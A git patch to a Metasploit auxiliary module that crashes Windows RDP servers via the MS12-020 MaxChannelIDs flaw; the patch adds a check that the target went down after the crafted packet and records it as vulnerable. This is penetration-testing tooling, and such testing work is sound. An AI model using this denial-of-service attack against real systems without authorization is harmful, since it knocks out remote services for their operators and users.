From 3d72d52625dd7191c4a36d0363fcaa5971e06d3a Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 19 Mar 2012 13:18:51 -0500 Subject: [PATCH] Add reporting to MS12-020 --- .../dos/windows/rdp/ms12_020_maxchannelids.rb | 25 +++++++++++++++++++ 1 file changed, 25 insertions(+) diff --git a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb index fd64915ba4..3ad0670615 100644 --- a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb +++ b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb @@ -9,6 +9,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos @@ -50,6 +51,17 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end + def is_rdp_up + begin + connect + return true + rescue Rex::ConnectionRefused + return false + rescue Rex::ConnectionTimeout + return false + end + end + def run max_channel_ids = "\x02\x01\xff" @@ -132,6 +144,19 @@ class Metasploit3 < Msf::Auxiliary select(nil, nil, nil, 3) disconnect print_status("#{rhost}:#{rport} - #{pkt.length.to_s} bytes sent") + + print_status("#{rhost}:#{rport} - Checking RDP status...") + if not is_rdp_up + print_good("#{rhost}:#{rport} seems down") + report_vuln({ + :host => rhost, + :port => rport, + :name => self.fullname, + :refs => self.references + }) + else + print_status("#{rhost}:#{rport} is still up") + end end end \ No newline at end of file